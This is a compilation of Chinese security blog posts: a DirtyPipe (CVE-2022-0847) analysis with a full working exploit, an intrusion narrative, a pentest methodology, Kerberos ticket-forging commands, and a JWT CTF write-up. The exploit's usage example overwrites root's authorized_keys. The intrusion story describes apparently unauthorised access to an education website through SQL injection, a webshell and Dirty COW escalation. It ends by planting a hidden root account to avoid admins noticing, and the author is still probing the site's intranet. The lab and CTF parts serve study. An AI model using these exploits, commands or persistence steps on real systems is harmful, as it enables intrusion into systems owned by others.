前言 CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。 调试环境 ubuntu 20.04 Linux-5.16.10 qemu-system-x86_64 4.2.1 漏洞验证 首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中 漏洞分析 以poc作为切入点,分析漏洞成因 首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。 ... if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } ... 在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。 随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在 ... for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } ... 紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。 ... ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); ... 在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。 后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。 这里记录一下物理页的地址 最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部 ... nbytes = write(p[1], data, data_size); ... 由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑 最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page中 可以看到buf->page与page地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中 补丁 补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程 总结 DirtyPipe攻击流程 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位 清空管道缓冲区 使用splice函数获取文件所对应的物理页 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作 DirtyPipe利用的限制 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据) 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页 完整的poc /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 #39;\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have   the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but   leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new   pipe_buffer without initializing its "flags", the buffer   will be mergeable */ } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); return EXIT_FAILURE; } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary\n"); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); return EXIT_FAILURE; } /* create the pipe with all flags initialized with   PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the   pipe; this will add a reference to the page cache, but   since copy_page_to_iter_pipe() does not initialize the   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but   will instead write into the page cache, because of the   PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write\n"); return EXIT_FAILURE; } printf("It worked!\n"); return EXIT_SUCCESS; }
从发现SQL注入到ssh连接
前言: 某天,同事扔了一个教育站点过来,里面的url看起来像有SQL注入。正好最近手痒痒,就直接开始。 一、发现时间盲注和源码 后面发现他发的url是不存在SQL注入的,但是我在其他地方发现了SQL盲注。然后改站点本身也可以下载试用源代码,和该站点是同一套系统: 一开始的思路是直接用时间盲注写马,然后遇到的问题就是如何获取站点的绝对路径。通过sqlmap自带的字典去爆破,发现都失效了。(但是其实只是没写成功,不代表路径是不对。)那么接下来的思路就在源码上了。从源码里面没有找到啥可以直接未授权getshell的点。后面在本地搭建这套系统时,发现了其配置信息都在网站目录下的configure.php,后面就是尝试使用sqlmap读取文件。通过猜测,发现了站点的路径为/var/www/html/{站点域名}下面。然后再回头尝试写马,还是失败。但是可以读取文件。然后写了个脚本去跑,成功获取数据库账号密码: Nmap一试,3306开放,心中窃喜。使用mysql连接的时候,发现root登录被做了限制,只能使用localhost进行登录。然后也通过sqlmap获取到其他账号,有的可以登录,但是都因为权限小,无法写马。 二、惊现上传漏洞 写马失败后,想着查询下数据库里面的管理员密码,登录后台看看有没有可利用的点。后面又回过头来看源码了。一边放着dump数据,一边又发现了新东西,这站点存在ckfinder和ckeditor编辑器,但是一个无法访问,一个无法上传木马。 就在我想破脑袋也没想到还有啥办法之时,我同事那边来了个好消息。他从旁站获取到了测试账号密码: 然后他在个人资料处发现了一些功能点,发现了一堆xss和csrf、会话固定后,最后测了一下上传点 这个上传点如果你直接上传php是可以上传成功的,但是路径找不到。很奇怪。 不过如果你先上传一个jpg文件,就会发现图片路径为upload/fileimages/ew00000000040/user_photoa009.jpg 然后再通过bp修改文件扩展名为php,重新上传,就可以成功在前端看到php的路径: 通过抓包分析,我们发现他存在一个http_user字段可控,并且只在前端校验文件类型得到重命名组合为user_photo# 直接写入phpinfo(),发现解析了,上蚁剑: 成功getshell。 三、脏牛提权 虽然成功获取权限,但是这权限很低,有执行权限,但是很多操作都被限制。前面有获取数据库账号密码,在获取webshell后,可直接连接mysql数据库: 这时候可以考虑udf提权,但是尝试发现没有/usr/lib64/mysql/plugin/路径的上传权限。那么久只能通过常规的提权了。使用工具linux-exploit-suggester。 发现很多种方式可以提权,但是我用kali编译完的程序上传到目标机上,发现运行不了。后面直接在目标机编译,也出现确实一些库文件,好像因为目标机版本太低了。后面参考了这篇文章,成功进行提权。 四、SSH连接 这个提权会删除root用户,新建一个用户firefart。本来还在考虑使用内网穿透把22端口代理出来,然后直接ssh连接。但是渗透步骤不规范就会导致我这样的结果:他的ssh并不是22端口,而是999端口。我信息收集的时候没有发现到位。当时一开始看没有22端口,所以才顺势觉得要穿透进去。但是其实人家999端口就是ssh。接下来就是成功使用ssh连接。 但是有个问题又出现了:如果我想连接ssh,那么久只能使用这个账户登录,因为我不知道root密码。但是这样的话,人家登录不了root就会发现异常。但是如果我把root恢复了,我就没有root权限了。 诶,后面我在想,如果我把原始的passwd文件恢复,然后不断开ssh连接是不是我还能有权限操作呢?说干就干,使用firefart执行mv /tmp/passwd.bak /etc/passwd恢复原本的账户。然后ssh不断开,我发现我还是root权限。这就好办了。useradd新建账号edu,然后把新建的账户加入管理员组。 使用新账号edu进行登录,发现为root权限,成功! 这时候才把原本firefart账号的窗口关闭。重新再使用firefart账户登录,发现已经无法登录了。看来这应该是系统的一种机制吧,哈哈哈。 结尾 这次渗透其实走了很多弯路,到最后都没用上数据库。很多时候一个点打不进去的时候,适当的放弃,去打新的点,不要太头铁,特别是攻防的时候。 总结一下:发现盲注,源码到跑取站点账号密码(时间盲注效率低到我现在还没跑出后台管理账户密码),无果。到从旁站上传木马,获取网站服务器权限,权限较低,使用脏牛提权,到后面的恢复原本的账户,并新建一个管理员。其实这个站点是还有内网在,貌似是教育局办公内网,但目前还在尝试,后续会随缘更新。
我的渗透测试方法论
0x01 渗透测试概述 渗透测试:比较官方的解释可以查看百度百科,我的理解为渗透测试就是通过一些手段找到网站、APP、网络服务、软件、服务器等网络设备和应用的漏洞,告知管理员有哪些漏洞,应该怎么填补以防止入侵。 下图,为我在学习课程之前了解到的渗透测试流程: 而本次课程中,将渗透测试的流程就更加简化了,总共分为了三个步骤 —— 信息收集阶段:通过已知信息去收集渗透测试目标所有暴露在边界上的系统和信息,从而掌握目标外围所有可能访问到的资产信息 漏洞发现阶段:对收集到的资产进行划分,然后针对不同的目标执行不同的测试方案 报告编写阶段:将之前的所有成果进行汇总,将测试的方法、流程、结果以及漏洞修复建议体现在报告中 其中可以使用脚本自动化完成的步骤为信息收集和漏洞发现,接下来我就来具体介绍一下课程中关于这两个部分的内容 0x02 信息收集阶段 资产范围 → 子域名数据 → 域名对应的IP数据 通常情况下,我们拿到的资产范围都是一些域名列表,类似于下图 所以,我们第一步需要做的工作通常是收集主域名下的子域名与其对应的IP 具体步骤如下: 在获取到目标资产范围后,先进行第三方平台的子域名信息收集,使用到的工具有oneforall(国内)和amass(国外) 使用子域名枚举工具ksubdomain的enum模块,利用子域名字典对目标进行子域名枚举,获取相应数据 将前两步收集到的信息去重后传入域名字典生成工具dnsgen生成新的域名字典 使用子域名枚举工具ksubdomain的verify模块,利用新生成的域名字典进行域名枚举,获取相应数据,值得注意的是,verify模块产生的数据不会对泛解析域名进行处理,这里还需要增加一个处理泛解析域名的操作 将所有的得到的数据汇总去重,即可得到一份子域名 + IP的目标数据 子域名与IP的映射关系 → 获取http://domain:port格式的URL数据 仅仅知道站点域名是不足以确定一个WEB站点的,所以我们还需要获取其WEB服务对应的端口号,最终拿到对应的URL数据 想要通过域名IP数据获取URL数据方式有三种,可以根据个人需求选择对应的方式进行操作: 方式一:直接使用naabu工具进行收集,输入域名列表,输出http://domain:port格式的URL数据,但是速度很慢 方式二:使用Nmap工具的-sV参数对IP列表进行扫描,能够直接获取IP开放的端口和对应的服务信息,通过对服务信息的分类能够获取到开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http://domain:port格式的URL数据。这种方式不复杂,但是速度也不算快,建议针对单个站点使用 方式三:使用Masscan对IP列表进行扫描,获取其开放的端口,然后使用fingerprintx工具进行端口指纹识别,获取其中的开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http://domain:port格式的URL数据。这种方式经过测试,速度是方式二的两到三倍 URL数据 → 站点验活 → 站点去重 → 站点指纹识别 + WAF检测 → 目标站点列表 在获取到URL数据之后,我们可以对每个URL进行进一步的验证,排除掉所有失活的站点,再基于站点哈希值进行去重,最后排除掉存在WAF站点,即可获取最终的目标站点列表,然后可以根据需求进行站点指纹识别,为NDay漏洞的利用做准备 站点信息收集的具体步骤如下 : 使用httpx工具收集所有URL对应站点的哈希值,工具会默认排除失活站点,然后根据哈希值进行去重 使用wafw00f工具对所有存活的站点进行WAF验证,排除掉存在WAF的站点并收集WAF指纹数据入库(若没有WAF指纹识别的需求,仅仅只是进行排除,也可以自己编写WAF判定的脚本),获取经过筛选的站点作为目标站点数据保存下来 如果有需求,可以通过TideFinger工具收集目标站点的站点指纹信息进行入库/存入文件 目标站点列表 → 站点列表 在获取到站点列表之后,需要寻找注入点,即网站的接口(GET、POST传参的参数) 寻找网站接口的方式有二: 方式一:通过接口字典枚举的方式寻找,用到的工具是x8,需要指定对应的参数字典,这个方式效率不高,在站点数量较少的时候可以尝试用 方式二:使用网站爬虫的方式寻找公开的接口信息,用到的工具是gospider,这款爬虫工具为动态爬虫,利用无头浏览器,可以动态加载网页中的 JavaScript 脚本,相比静态爬虫可以获取 POST 请求中的参数,以及可以利用 API 进行数据交互 在收集完网站接口数据之后,可以利用uro工具对数据进行去重,避免重复操作 总结 至此,信息收集步骤已经全部完成,我们再来回顾一下 —— 收集目标站点资产范围,通常为域名范围 子域名收集 WEB端口收集,汇总为URL数据 URL去重、验活以及排除存在WAF的站点 站点指纹识别,信息入库 站点接口数据收集 0x03 自动化测试 在之前的信息收集步骤中,我们获取了目标站点的URL数据和接口数据,接下来,就可以利用这些数据进行自动化测试了 在开始前,我们需要了解一下常见的漏洞扫描以及模糊测试工具 其中弱口令枚举工具是对一些非WEB端口可能存在弱口令的应用进行测试;而漏扫工具和Fuzzing工具则是针对WEB服务进行测试 AVWS和AppScan通常是使用针对单个站点进行漏扫的工具,简单易用但是扩展性较差 而这里重点介绍xray工具的使用思路—— 被动扫描:在进行手工测试的时候,可以开启xray的被动扫描模式,让它帮助你做一些常见WEB漏洞的探测,而人工的重心可以放在逻辑漏洞的发现上 主动探测:利用xray的主动探测功能对站点接口收集阶段的接口数据进行探测 联动Crawlergo进行探测:先用Crawlergo对站点的URL数据进行爬取,再将流量转发给xray对得到的数据进行探测 这三款工具都能自动生成漏洞扫描报告,报告编写可以将其作为参考资料 0x04 总结 最后的最后,放一张图来总结一下这次渗透实训的整体思路,以上就是我这次参加实训的所有收获。 本文转自信安之路 ,作者:H1kki
域0day-(CVE-2022-33679)容易利用吗
前言 最近twitter上关于CVE,应该是CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。 kerberos认证原理 先了解几个概念 认证服务(Authentication server):简称AS,认证客户端身份提供认证服务。 域控服务器(Domain Control):即DC。 服务票据(Server Ticket):简称ST,在Kerberos认证中,客户端请求的服务通过ST票据认证。 票据授予服务(Ticket Granting server):简称TGS,颁发服务票据(server ticket)。 活动目录(Active Directory):简称AD,包含了域中所有的对象(用户,计算机,组等) KDC密钥颁发中心(KDC):域控担任 特权属性证书(Privilege Attribute Certificate):简称PAC,所包含的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。 下图为Kerberos的认证过程: 一个完整的认证流程基本上分为8个步骤 1.客户端用户向KDC发送请求,包含用户名,主机名和时间戳。AS接收请求 2.AS对客户端用户身份认证后给客户端返回票据授予票据 3.客户端使用TGT到票据分发服务(TGS)请求访问服务器A的服务票据(ST) 4.TGS给客户端分发ST 5.客户端使用ST请求服务器A 6.服务器A解密ST票据得到特权属性证书PAC,服务器A请求域控AD需确认用户权限 7.域控将PAC解密获取用户SID和用户权限的结果返回给服务器A 8.用户身份符合则进行第最后的返回信息,整个Kerberos认证结束。 黄金票据 原理: Kerberos黄金票据是有效的TGT Kerberos票据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。 相当于跳过上面图片中过的步骤一和步骤二,直接伪造TGT 实验 这里利用星海安全实验室的靶场环境 环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2 域内主机:192.168.10.14 操作系统:win7 使用条件: 域管SID 域名 域控KRBTGT账号的HASHntlm(hash) whoami /all lsadump::dcsync /domain:starseaseclab.com /user:krbtgt sid:S-1-5-21-1719736279-3906200060-616816393 htlm(hash):5e31f755b33b621bede0946b044908e4 domian:starseaseclab.com 域内主机win-7 privilege::debug kerberos::purge //清空票据防止缓存影响 Kerberos::golden /user:administrator /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4 /ptt   //伪造金票注入内存 白银票据 原理 黄金票据是伪造TGT,在kerberos认证中忽略前两步,白银票据就是直接伪造ST whoami /all sid: S-1-5-21-1719736279-3906200060-616816393 sekurlsa::logonpasswords 伪造票据 Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //伪造银票注入内存 利用MS14-068(CVE-2016-6324) 域内用户提升至域控 条件 : 域内用户名以及hash sid值 域名 域控ip ms-14-068.exe -u   域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip kerberos::ptc "票据"   //将票据注入内存 黄金票据和白银票据的区别 访问权限不同: Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 Silver Ticket:伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket由Kerberos的Hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket的利用过程需要访问域控, Silver Ticket不需要 CVE-2022-33679 攻击的过程分为下面几个步骤 攻击者发送一个没有预授权的 AS-REQ 请求 RC4-MD4 密钥加密。如果用户不需要预授权,KDC 将发回一个 AS-REP,其中包含使用 RC4-MD4 加密的会话密钥等。 根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的位置。 根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。 使用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅使用 KerberosTime,则大小将恰好为 0x15 字节,即带有初始填充的 0x2D。 在新的 AS-REQ 中发送加密的时间戳以验证密钥流是否正确。 如果将客户端和 KDC 降级为使用 RC4-MD4,攻击者可以让 KDC 使用 RC4-MD4 会话密钥作为初始 TGT,它只有 40 位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的 TGS 请求。 攻击图解 在请求TGT的第一阶段爆破第一个字节的图解 获取最后一个字节的过程图解 CVE提交者的POC显示已删除,github上披露的EXP已经没了。 项目下载地址: https://github.com/GhostPack/Rubeus 需要重新编译一下,Rubeus的V2.1.2实际上也没找到历史发布版本,目前最新版本未V2.2.1 该版本无法使用cve-2022-33679伪造TGT。该漏洞就利用方式来说跟黄金票据有点儿类似,通过EXP绕过Kerberos认证协议中的第一和第二步骤,直接向TGS请求ST。 总结 资料还是有限,没有复现成功,但是就原理来说,结合Kerberos认证原理还是比较清晰。CVE-2022-33679的使用也是有使用条件,需要设置“不需要 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在利用手段上来讲应该是比较苛刻。(如有错误还请各位指出)
浅析JWT Attack
前言 在2022祥云杯时遇到有关JWT的题,当时没有思路,对JWT进行学习后来对此进行简单总结,希望能对正在学习JWT的师傅们有所帮助。 JWT JWT,即JSON WEB TOKEN,它是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,是一种标准化的格式,用于在系统之间发送经过加密签名的JSON数据,理论上可以包含任何类型的数据,但最常用于发送关于用户的信息(“声明”),以进行身份认证、会话处理和访问控制。 简单了解了它的定义后,我们接下来来看一下JWT的组成部分它分为三个部分,如下所示 1、Headers:头部 2、Payload:有效载荷 3、Signature:签名 这三个部分以.符号来连接,所以JWT的格式通常是xxx.yyy.zzz这种样子 Headers Headers通常由两部分组成,令牌的类型和签名算法,常见的算法有很多种,例如 HMAC SHA256或 RSA。但它也还有一个kid参数,这是一个可选参数,全称是key ID,它用于指定加密算法的密钥。 示例如下 ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9 这就是一个Headers,当我们对它进行Base64解码就可以看到它的具体内容,具体如下 {  "alg": "HS256",  "typ": "JWT" } alg指的就是算法,这里的算法就是HS256,typ指的是令牌类型。这里需要说明一点,就是明文在加密时其实采用的是Base64URL加密,这种加密方式并非Base64encode+URLencode,而是对一些特殊字符进行了替换,具体说明如下 JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。 Payload 有效载荷就是存放有效信息的地方,其中包含声明。声明包含三个部分 1、已注册声明这个部分的话就是已经预先定义过的声明,常见的声明主要有以下几种 iss: jwt签发者 sub: jwt所面向的用户 aud: 接收jwt的一方 exp: jwt的过期时间,这个过期时间必须要大于签发时间 nbf: 定义在什么时间之前,该jwt都是不可用的. iat: jwt的签发时间 jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。 2、公共的声明这些可以由使用 JWT 的人随意定义,一般用于添加用户的相关信息或其他业务需要的必要信息。但不建议添加敏感信息,因为该部分在客户端可进行解码.3、私有的声明这些是为在同意使用它们的各方之间共享信息而创建的自定义声明,私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息。 示例如下 ewoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ 进行base64URL解码,结果如下 { "sub": "admin", //jwt所面向的用户    "user_role" : "admin",   //当前登录用户    "iss": "admin",         //该JWT的签发者,有些是URL    "iat": 1573440582,        //签发时间    "exp": 1573940267,        //过期时间    "nbf": 1573440582,        //该时间之前不接收处理该Token    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识 } Signature 由于头部和有效载荷以明文形式存储,因此,需要使用签名来防止数据被篡改。所以这部分是一个签证信息,这个签证信息由三部分组成 1、header (base64URL编码) 2、payload (base64URL编码) 3、secret(密钥) 它的计算方式如下 Signature=HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret) //假设这里是HS256算法,如果是其他算法的话开头设置为其他算法即可 现在了解了JWT的大致作用和其组成,接下来来学习一下JWT攻击。 JWT 攻击 JWT攻击有多种情况,现在来对其进行逐一讲解。 敏感信息泄露 JWT保证的是数据传输过程中的完整性而不是机密性。 因为JWT的payload部分是使用Base64url编码的,所以它其实是相当于明文传输的,当payload中携带了敏感信息时,我们对payload部分进行Base64url解码,就可以读取到payload中携带的敏感信息。 靶场演示 题目链接https://www.ctfhub.com/#/skilltree题目描述如下 JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{} 进入环境后发现一个登录框 随便输入账号密码,登录后发现界面如下 查看此时的JWT 想到题目中说头部和载荷可能会有敏感泄露,将值取出分别进行Base64URL解码 两处拼接一下,得到ctfhub{bb89d985db8cea6a2f2d34cb} 算法修改攻击 首先来简述一下JWT中两个常用的加密算法 HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。 从上面不难看出,HS256自始至终只有一个密钥,而RS256是有两个密钥的。在通常情况下,HS256的密钥我们是不能取到的,RS256的密钥也是很难获得的,RS256的的公钥相对较容易获取,但无论是HS256加密还是RS256加密,都是无法实现伪造JWT的,但当我们修改RSA256算法为HS256算法时,后端代码会使用公钥作为密钥,然后用HS256算法验证签名,如果我们此时有公钥,那么此时我们就可与实现JWT的伪造。 靶场演示 题目链接https://www.ctfhub.com/#/skilltree 题目描述 有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。 进入环境后发现题目代码 class JWTHelper {  public static function encode($payload=array(), $key='', $alg='HS256') {    return JWT::encode($payload, $key, $alg); }  public static function decode($token, $key, $alg='HS256') {    try{            $header = JWTHelper::getHeader($token);            $algs = array_merge(array($header->alg, $alg));      return JWT::decode($token, $key, $algs);   } catch(Exception $e){      return false;   }   }    public static function getHeader($jwt) {        $tks = explode('.', $jwt);        list($headb64, $bodyb64, $cryptob64) = $tks;        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));        return $header;   } } $FLAG = getenv("FLAG"); $PRIVATE_KEY = file_get_contents("/privatekey.pem"); $PUBLIC_KEY = file_get_contents("./publickey.pem"); if ($_SERVER['REQUEST_METHOD'] === 'POST') {    if (!empty($_POST['username']) && !empty($_POST['password'])) {        $token = "";        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){            $jwt_payload = array(                'username' => $_POST['username'],                'role'=> 'admin',           );            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');       } else {            $jwt_payload = array(                'username' => $_POST['username'],                'role'=> 'guest',           );            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');       }        @setcookie("token", $token, time()+1800);        header("Location: /index.php");        exit();   } else {        @setcookie("token", "");        header("Location: /index.php");        exit();   } } else {    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);        if ($obj->role === 'admin') {            echo $FLAG;       }   } else {        show_source(__FILE__);   } } ?> 简单的看一下,大致意思就是当以用户名为admin,密码不是$flag时,此时登录后JWT中payload的role是guest,而只有当role为admin时才能够得到Flag,所以我们这里肯定是需要伪造JWT的,我们先以admin为用户名,随便输入密码登录一下此时得到JWT,将其拿去解密网站https://jwt.io解密一下 发现加密方式是RS256非对称加密,想到在登录时,下方给出了公钥 所以这里就可以尝试更改算法为HS256,以公钥作为密钥来进行签名和验证,因此我们构造一个伪造JWT的脚本,内容如下 import jwt import base64 public ="""-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO 3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roA kbI1GMta9zAdD1yPtp//JNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvW q5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBU Xhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd/rg1w8we9ysNcTjAeUayRGPuQmX UWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzl awIDAQAB -----END PUBLIC KEY----- """ payload={ "username": "admin","role": "admin"} print(jwt.encode(payload, key=public, algorithm='HS256')) 此时运行完后发现报错 这个是因为源代码中进行了校验,我们简单设置一下即可,源代码文件地址如下 /usr/lib/python3/dist-packages/jwt/algorithms.py 我们在它的校验前面增加这样一句话 invalid_strings=[] 此时保存退出,再运行文件即可得到新JWT 将新的JWT拿到网站中替换旧的JWT,刷新网站即可得到flag 未验证签名 当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制,此时就造成了越权漏洞的出现。假设现有payload如下 {  "iat": 1668871293,  "exp": 1668878493,  "nbf": 1668871293,  "sub": "quan9i", } 